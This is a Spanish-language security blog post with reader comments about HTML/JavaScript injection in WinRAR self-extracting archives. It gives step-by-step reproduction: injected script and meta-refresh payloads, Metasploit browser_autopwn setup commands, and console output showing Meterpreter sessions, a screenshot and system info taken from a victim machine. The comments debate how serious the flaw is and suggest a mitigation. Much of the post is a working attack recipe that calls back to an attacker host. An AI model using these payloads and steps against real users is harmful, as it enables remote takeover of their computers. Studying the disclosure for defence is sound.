Cómo comprometer por completo la máquina de un usuario incauto que ejecute un WinRAR auto-extraíble

Hace unos días en Full Disclosure publicaban una vulnerabilidad de ejecución remota de código (RCE) en WinRar 5.21 y anteriores (confirmo 4.20 también). Concretamente, al crear un fichero autoextraíble con WinRAR (SFX), en la pestaña "Texto e icono" podemos incrustar código html y javascript que será procesado por el motor del navegador, Internet Explorer del sistema con compatibilidad IE7.

Reproducir la vulnerabilidad es muy sencillo. Seleccionamos uno o varios archivos y con el botón derecho pinchamos en "Añadir al archivo...". Luego en las opciones de compresión marcamos "Crear un archivo autoextraíble":


Luego pulsamos el botón "Avanzado" y en el cuadro del "Texto a mostrar en la ventana" de la pestaña "Texto e icono" añadimos el siguiente código:

<html><script type="text/javascript">alert('test');</script></html>


Al ejecutar el fichero autoextraíble veréis como se procesa el script:


A partir de aquí se nos abre un mundo de posibilidades. Empecemos por ejemplo insertando código para comprobar la versión y el agente de nuestro navegador:

<html><head><title>poc</title><META http-equiv="refresh" content="0;URL=http://mybrowserinfo.com/detail.asp"></head></html>


Ahora viene lo mejor, vamos a comprometer por completo la máquina del usuario incauto que ejecute el WinRAR extraíble. ¿Cómo? La manera más rápida es mediante Metasploit y el modulo browser_autopwn, que nos carga automáticamente un montón de vulnerabilidades del navegador para obtener rápidamente una sesión meterpreter en el sistema vulnerable.

msf > use auxiliary/server/browser_autopwn
msf auxiliary(browser_autopwn) > set lhost 192.168.1.207
lhost =>
192.168.1.207
msf auxiliary(browser_autopwn) > set srvhost
192.168.1.207
srvhost =>
192.168.1.207
msf auxiliary(browser_autopwn) > set uripath /prueba
uripath => /prueba
msf auxiliary(browser_autopwn) > set srvport 6666
srvport => 6666

msf auxiliary(browser_autopwn) > exploit

[*] Auxiliary module execution completed

[*] Setup
msf auxiliary(browser_autopwn) >

[*] Starting exploit modules on host
192.168.1.207...
[*] ---


Ahora empezará a iniciar múltiples servidores. En mi caso hasta 20 exploits aglutinados en una única URL:

[*] --- Done, found 20 exploit modules

[*] Using URL: http://192.168.1.207:6666/prueba


Finalmente sólo tenemos que crear un fichero autoextraíble con código que llame a esa URL:

<html><head><title>poc</title><META http-equiv="refresh" content="0;URL=http://192.168.1.207:6666/prueba"></head></html>

Y al ejecutarlo... ¡¡¡boom!!! obtenemos varias sesiones de meterpreter:

[*] Sending stage (47762 bytes) to 192.168.1.204
[*] Meterpreter session 2 opened (192.168.1.207:7777 -> 192.168.1.204:3109) at 2015-10-02 08:19:29 -0400
[*] Sending stage (47762 bytes) to 192.168.1.204
[*] Meterpreter session 3 opened (192.168.1.207:7777 -> 192.168.1.204:3110) at 2015-10-02 08:19:30 -0400
[*] Sending stage (47762 bytes) to 192.168.1.204
[-] Failed to load client script file: /usr/share/metasploit-framework/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi.rb
[*] Meterpreter session 4 opened (192.168.1.207:7777 -> 192.168.1.204:3111) at 2015-10-02 08:19:30 -0400



msf auxiliary(browser_autopwn) > sessions -l

Active sessions
===============

  Id  Type                   Information                   Connection
  --  ----                   -----------                   ----------
  1   meterpreter java/java  Administrador @ PCVICTIMA  192.168.1.207:7777 -> 192.168.1.204:3108 (192.168.1.204)
  2   meterpreter java/java  Administrador @ PCVICTIMA  192.168.1.207:7777 -> 192.168.1.204:3109 (192.168.1.204)
  3   meterpreter java/java  Administrador @ PCVICTIMA  192.168.1.207:7777 -> 192.168.1.204:3110 (192.168.1.204)
  10  meterpreter java/java  Administrador @ PCVICTIMA  192.168.1.207:7777 -> 192.168.1.204:3117 (192.168.1.204)
  11  meterpreter java/java  Administrador @ PCVICTIMA  192.168.1.207:7777 -> 192.168.1.204:3118 (192.168.1.204)


msf auxiliary(browser_autopwn) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > getuid
Server username: Administrador
meterpreter > sysinfo
Computer    : PCVICTIMA
OS          : Windows XP 5.1 (x86)
Meterpreter : java/java


meterpreter > screenshot /tmp/victim.bmp
Screenshot saved to: /root/fdKuoNkp.jpe



Como habéis podido comprobar, a partir de una vulnerabilidad RCE hemos comprometido totalmente un equipo. Lo cachondo es que la respuesta oficial de WinRAR es que no va a solucionar el bug esgrimiendo que el formato SFX es un archivo ejecutable y por lo tanto el usuario es responsable de ejecutarlo.
 

De los 500 millones de usuarios de WinRAR ¿cuántos pueden imaginar lo peligroso que puede llegar a ser un SFX? ¡Gracias WinRAR!

7 comentarios :

  1. Personalmente creo que lo de no parchear el fallo es una sobrada... pero en cierta manera tienen razón con lo que es un fichero ejecutable y que no hace falta explotar este fallo para poder comprometer la máquina usando un paquete autoextraible.

    Dicho esto, para todo lo demás 7zip es tu amigo :)

    Saludos!

    ResponderEliminar
    Respuestas
    1. Vamos a ver... esta "vulnerabilidad" es completamente absurda, y están cayendo en la trampa cantidad de sitios que se hacen eco de la noticia (lástima que por aquí también). ¿Para qué necesitas aprovechar una vulnerabilidad de ejecución de código sobre una ejecución de código previa? Puedes hacer lo mismo ejecutando directamente un .exe cualquiera. Ni es necesario parchear WinRAR, ni tampoco cantar las 40 con Metasploit por semejante estupidez.

      Eliminar
    2. No estoy de acuerdo de que sea absurdo. Hace un par de días cuando subí uno de estos sfx con código ningún antivirus lo detectó como malicioso. Imagina, sin ningún packer, sin usar un crypter ni un joiner, con un binario de aspecto y forma de cualquier otro generado por WinRAR.

      Mi "denuncia" viene por la nula participación del fabricante a afrontar un posible problema con el formato de un tipo de archivo que se genera con su herramienta. Podían haber añadido un parche que filtrara cierto tipo de código, o avisar simplemente de que existe texto o código antes de abrirlo. Ya sabemos que un ejecutable puede ser peligroso pero hagamos lo posible para mitigar riesgos. Sólo eso...

      Saludos y gracias por vuestros comentarios.

      Eliminar
    3. Una vez ejecutas un .exe, ya puede utilizar SFX o no, estás perdido. El propio SFX actúa como joiner del código que quieras, sin necesariamente aprovechar una vulnerabilidad. Será cuestión de tiempo que esa nueva muestra la detecte el antivirus, al igual que cualquier otra. El icono que comentas se puede incluir en cualquier .exe sin hacer uso de SFX, y el usuario no va a poder comprobarlo hasta que lo ejecute. Incluso aunque lo ejecute para comprobar que se trata realmente de un auto-extraíble generado por WinRAR, se podría simular por completo la pantalla de extracción.

      Eliminar
    4. Simular el icono y la pantalla de extracción sería fácil, pero no tanto como añadir simplemente el código con WinRAR. Y aún así ¿se parecería el formato de la estructura del binario? La heurística de un av acabará detectando el código malicioso pero hasta entonces se habrán colado muchas muestras. Yo que queréis que os diga, a mi me sigue pareciendo bien que esta noticia haya tenido cierta repercusion aun con controversia porque no han hecho nada a persar del "responsible disclosure". Saludos!

      Eliminar
  2. Muy bien artículo. Estoy de acuerdo en que cuanto más se restrinjan las "entradas", más seguro será el sistema, y desde luego creo que ninguna "vulnerabilidad" es "absurda". No estoy para nada de acuerdo en la respuesta de Winrar, que encima te da alguna idea más... jeje
    Y por si sirve de algo, una manera de evitar esto, es abrir el exe con winrar (botón derecho y abrir con Winrar...) en vez de ejecutarlo directamente, y observar los comentarios (yo siempre lo hago así).

    ResponderEliminar